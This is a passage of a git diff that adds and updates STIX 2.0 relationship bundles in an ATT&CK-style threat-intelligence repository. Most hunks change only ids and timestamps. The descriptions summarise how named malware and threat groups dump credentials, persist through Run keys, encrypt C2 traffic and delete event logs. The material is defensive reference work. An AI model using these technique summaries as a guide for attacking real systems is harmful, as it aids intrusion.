+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim LAN IP address and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69.json b/enterprise-attack/relationship/relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69.json
new file mode 100644
index 0000000000..c9edd8f151
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--edf9c6f2-c523-434e-9035-561432bdb77a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly dropped and executed Hydra, a password cracker.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                },
+                {
+                    "source_name": "Kali Hydra",
+                    "description": "Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.",
+                    "url": "https://tools.kali.org/password-attacks/hydra"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--c75cc595-79d7-4a77-9647-d2323aad93d0.json b/enterprise-attack/relationship/relationship--c75cc595-79d7-4a77-9647-d2323aad93d0.json
index 85025b5b3e..1fec36890d 100644
--- a/enterprise-attack/relationship/relationship--c75cc595-79d7-4a77-9647-d2323aad93d0.json
+++ b/enterprise-attack/relationship/relationship--c75cc595-79d7-4a77-9647-d2323aad93d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a16d4d0-a829-4985-8b94-f3c4f3a60eb4",
+    "id": "bundle--ef2bd950-a539-4d16-b4fe-1eb7b25d25a5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c75cc595-79d7-4a77-9647-d2323aad93d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE establishes persistence through a Registry Run key.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
diff --git a/enterprise-attack/relationship/relationship--c7823efd-005f-49ad-94cf-ebc44a87abed.json b/enterprise-attack/relationship/relationship--c7823efd-005f-49ad-94cf-ebc44a87abed.json
index 5614b2aaca..cb26889c5e 100644
--- a/enterprise-attack/relationship/relationship--c7823efd-005f-49ad-94cf-ebc44a87abed.json
+++ b/enterprise-attack/relationship/relationship--c7823efd-005f-49ad-94cf-ebc44a87abed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82eecb67-ced4-489d-a7eb-75b57002c554",
+    "id": "bundle--31f639f8-e7da-40ac-a494-e41f9124ff8d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c7823efd-005f-49ad-94cf-ebc44a87abed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by APT1 as a name for malware.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859.json b/enterprise-attack/relationship/relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859.json
index f11391a661..f64ef49c3c 100644
--- a/enterprise-attack/relationship/relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859.json
+++ b/enterprise-attack/relationship/relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5cf7438-d6d5-48fe-a6f9-1a55f02c7fdd",
+    "id": "bundle--4531019c-ea62-4446-9114-e526597f1458",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraCharlie uses RDP for propagation.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3.json b/enterprise-attack/relationship/relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3.json
index 7cd436c07b..ed9d5c129d 100644
--- a/enterprise-attack/relationship/relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3.json
+++ b/enterprise-attack/relationship/relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12b19945-526b-4f71-8569-e5089bfb62ee",
+    "id": "bundle--0e771311-0953-49b5-9362-02b685ed7346",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 obfuscates C2 traffic with an altered version of base64.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316.json b/enterprise-attack/relationship/relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316.json
index f477020b63..0f0ac3820e 100644
--- a/enterprise-attack/relationship/relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316.json
+++ b/enterprise-attack/relationship/relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1614239-eccb-4d8b-9239-8d62a7aba92b",
+    "id": "bundle--259024d7-b075-43af-9cec-abd24e3c4476",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs process discovery using <code>tasklist</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6.json b/enterprise-attack/relationship/relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6.json
index f6aa913279..26a32494df 100644
--- a/enterprise-attack/relationship/relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6.json
+++ b/enterprise-attack/relationship/relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ad96164-de68-41c2-a142-8dcda37c7ad9",
+    "id": "bundle--a00a55d3-2c13-4ad6-8a00-1d5d6723aa50",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 uses HTTP for C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--c8253944-3a69-42e6-b36a-1c3defbb088e.json b/enterprise-attack/relationship/relationship--c8253944-3a69-42e6-b36a-1c3defbb088e.json
index 98835ede0c..765307db1a 100644
--- a/enterprise-attack/relationship/relationship--c8253944-3a69-42e6-b36a-1c3defbb088e.json
+++ b/enterprise-attack/relationship/relationship--c8253944-3a69-42e6-b36a-1c3defbb088e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6b8e8ca1-729f-4fc4-af58-4e48ac69608a",
+    "id": "bundle--466928ca-2e7b-4046-9d1c-f951a2a4dc70",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8253944-3a69-42e6-b36a-1c3defbb088e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--c839344c-a96d-412f-bded-5ac7c8fd446a.json b/enterprise-attack/relationship/relationship--c839344c-a96d-412f-bded-5ac7c8fd446a.json
index db54ae85c5..1cc16e70b1 100644
--- a/enterprise-attack/relationship/relationship--c839344c-a96d-412f-bded-5ac7c8fd446a.json
+++ b/enterprise-attack/relationship/relationship--c839344c-a96d-412f-bded-5ac7c8fd446a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0bdefd78-c4d2-4959-bc96-a130910e0693",
+    "id": "bundle--f7dc3d75-bce4-40e3-a431-45b0f9f27467",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c839344c-a96d-412f-bded-5ac7c8fd446a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can download additional files.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976.json b/enterprise-attack/relationship/relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976.json
index 47a01ef53e..36aec12dc5 100644
--- a/enterprise-attack/relationship/relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976.json
+++ b/enterprise-attack/relationship/relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02eac0f0-a7cb-421f-aad4-67d726baa64a",
+    "id": "bundle--9783e849-fc53-40b2-8431-d0eeb556ec1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate drive types.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72.json b/enterprise-attack/relationship/relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72.json
index 323ce4915b..352d0e6a97 100644
--- a/enterprise-attack/relationship/relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72.json
+++ b/enterprise-attack/relationship/relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39b03774-16c2-428a-bf39-f9cff7f1b506",
+    "id": "bundle--df86ea99-4d11-4d1e-8221-7ed556a2ad76",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--c8c5b766-a719-43bd-988a-cb00beedbba3.json b/enterprise-attack/relationship/relationship--c8c5b766-a719-43bd-988a-cb00beedbba3.json
index 5609494496..7cb0cce9a8 100644
--- a/enterprise-attack/relationship/relationship--c8c5b766-a719-43bd-988a-cb00beedbba3.json
+++ b/enterprise-attack/relationship/relationship--c8c5b766-a719-43bd-988a-cb00beedbba3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0d7b4c16-19df-4d3b-abbd-6ac57981a17f",
+    "id": "bundle--90083ba6-8d87-4168-a849-5a9ff8779a00",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8c5b766-a719-43bd-988a-cb00beedbba3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49.json b/enterprise-attack/relationship/relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49.json
index 9e8488c036..5cd809bbb5 100644
--- a/enterprise-attack/relationship/relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49.json
+++ b/enterprise-attack/relationship/relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--672e02e1-f051-4af1-ae63-b70c2e1836fa",
+    "id": "bundle--aff4de82-0a66-4c3e-8fe0-bd41d385b806",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to obtain a process listing.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--c8d0e862-20af-4f9f-84e8-0419c8080008.json b/enterprise-attack/relationship/relationship--c8d0e862-20af-4f9f-84e8-0419c8080008.json
index 48111159fa..b725500380 100644
--- a/enterprise-attack/relationship/relationship--c8d0e862-20af-4f9f-84e8-0419c8080008.json
+++ b/enterprise-attack/relationship/relationship--c8d0e862-20af-4f9f-84e8-0419c8080008.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2730333e-561e-4ee9-a7e9-8afa758c82f7",
+    "id": "bundle--c069a112-f6c6-4302-8f1a-ae75fedf6741",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke C2 traffic has been encrypted with RC4 and AES.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9.json b/enterprise-attack/relationship/relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9.json
index 579f0d6ce0..5a81d91579 100644
--- a/enterprise-attack/relationship/relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9.json
+++ b/enterprise-attack/relationship/relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--00d9e103-0b22-403e-9e15-3638a891a039",
+    "id": "bundle--3a60fd73-e326-4a60-98ee-10b8cfe1ade4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang dumps credentials.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--c93bb2b9-bd22-4e14-b884-2141168387b2.json b/enterprise-attack/relationship/relationship--c93bb2b9-bd22-4e14-b884-2141168387b2.json
index 7d87ad7d2b..f2fca4a10f 100644
--- a/enterprise-attack/relationship/relationship--c93bb2b9-bd22-4e14-b884-2141168387b2.json
+++ b/enterprise-attack/relationship/relationship--c93bb2b9-bd22-4e14-b884-2141168387b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--956e5e67-62d9-4764-a1cd-b9935b58e303",
+    "id": "bundle--bff4fa0e-dd94-40b8-99b8-8c6573f3391c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c93bb2b9-bd22-4e14-b884-2141168387b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon creates various subdirectories under <code>%Temp%\\reports\\%</code> and copies files to those subdirectories. It also creates a folder at <code>C:\\Users\\<Username>\\AppData\\Roaming\\Microsoft\\store</code> to store screenshot JPEG files.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--c945e5f2-5622-46ce-8b35-468d41d2af46.json b/enterprise-attack/relationship/relationship--c945e5f2-5622-46ce-8b35-468d41d2af46.json
index 66ff7790b4..f31e485e6b 100644
--- a/enterprise-attack/relationship/relationship--c945e5f2-5622-46ce-8b35-468d41d2af46.json
+++ b/enterprise-attack/relationship/relationship--c945e5f2-5622-46ce-8b35-468d41d2af46.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a615235-8d9e-4000-aefa-0e0c1f7ab249",
+    "id": "bundle--2921d823-17b1-4e05-a26e-4735c8bd1876",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c945e5f2-5622-46ce-8b35-468d41d2af46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.",
             "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
diff --git a/enterprise-attack/relationship/relationship--c948f964-e26c-4226-9577-7b78b5bf271f.json b/enterprise-attack/relationship/relationship--c948f964-e26c-4226-9577-7b78b5bf271f.json
index bf6f28d5dc..f1a3d868c1 100644
--- a/enterprise-attack/relationship/relationship--c948f964-e26c-4226-9577-7b78b5bf271f.json
+++ b/enterprise-attack/relationship/relationship--c948f964-e26c-4226-9577-7b78b5bf271f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e974c87f-bc4f-4b58-a0b9-16d2690bd74e",
+    "id": "bundle--1faad7da-68b9-47ab-867b-87386aa453b6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c948f964-e26c-4226-9577-7b78b5bf271f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\" The group has also used a tools to dump passwords from browsers.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--c952f284-e529-481f-97fb-7a6e14c25ccf.json b/enterprise-attack/relationship/relationship--c952f284-e529-481f-97fb-7a6e14c25ccf.json
index db4e074389..4468baf1b5 100644
--- a/enterprise-attack/relationship/relationship--c952f284-e529-481f-97fb-7a6e14c25ccf.json
+++ b/enterprise-attack/relationship/relationship--c952f284-e529-481f-97fb-7a6e14c25ccf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a68729a-643c-4b72-9041-0112aa33a869",
+    "id": "bundle--5ec3ca5e-fafa-44a2-8def-3dd4f8d9d375",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c952f284-e529-481f-97fb-7a6e14c25ccf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Droppers used by Putter Panda use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 \u2013 0xAF to obfuscate payloads.",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
diff --git a/enterprise-attack/relationship/relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383.json b/enterprise-attack/relationship/relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383.json
index 7b95259f7f..b6c30d18e3 100644
--- a/enterprise-attack/relationship/relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383.json
+++ b/enterprise-attack/relationship/relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--614d8224-9a8d-4d91-a6b9-b65182be865e",
+    "id": "bundle--3d17de4b-39d0-4e3f-8522-bffa865d0104",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "route can be used to discover routing configuration information.",
             "source_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
diff --git a/enterprise-attack/relationship/relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d.json b/enterprise-attack/relationship/relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d.json
index 8957e5b927..f99fd1c839 100644
--- a/enterprise-attack/relationship/relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d.json
+++ b/enterprise-attack/relationship/relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e797d49-eb31-4d2f-8e4c-ab38d4283634",
+    "id": "bundle--44352646-f769-4c0a-83a6-f4956bc64099",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>net user</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--c9dca829-6417-4121-9462-650ac852b8c2.json b/enterprise-attack/relationship/relationship--c9dca829-6417-4121-9462-650ac852b8c2.json
index 37cab93611..eeccf23796 100644
--- a/enterprise-attack/relationship/relationship--c9dca829-6417-4121-9462-650ac852b8c2.json
+++ b/enterprise-attack/relationship/relationship--c9dca829-6417-4121-9462-650ac852b8c2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ccf8ea66-f573-438c-8286-a1f6b1be266d",
+    "id": "bundle--5a0a04f5-499e-4685-880b-c8d3cb988442",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c9dca829-6417-4121-9462-650ac852b8c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy component KillDisk is capable of deleting Windows Event Logs.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6.json b/enterprise-attack/relationship/relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6.json
index df553e2a00..047b3e42b3 100644
--- a/enterprise-attack/relationship/relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6.json
+++ b/enterprise-attack/relationship/relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9600e8e6-c31e-4feb-9cfa-9b866f5611b7",
+    "id": "bundle--d9e33223-1dd1-47a2-9d35-e07583fbe907",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 encrypts C2 traffic using an RC4 key.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef.json b/enterprise-attack/relationship/relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef.json
index c176896e36..3a8effbe8b 100644
--- a/enterprise-attack/relationship/relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef.json
+++ b/enterprise-attack/relationship/relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1783befd-cd3c-4a09-a3a8-1f8453631858",
+    "id": "bundle--a757f539-c6a1-49e8-bac9-702342f439da",
     "spec_version": "2.0",
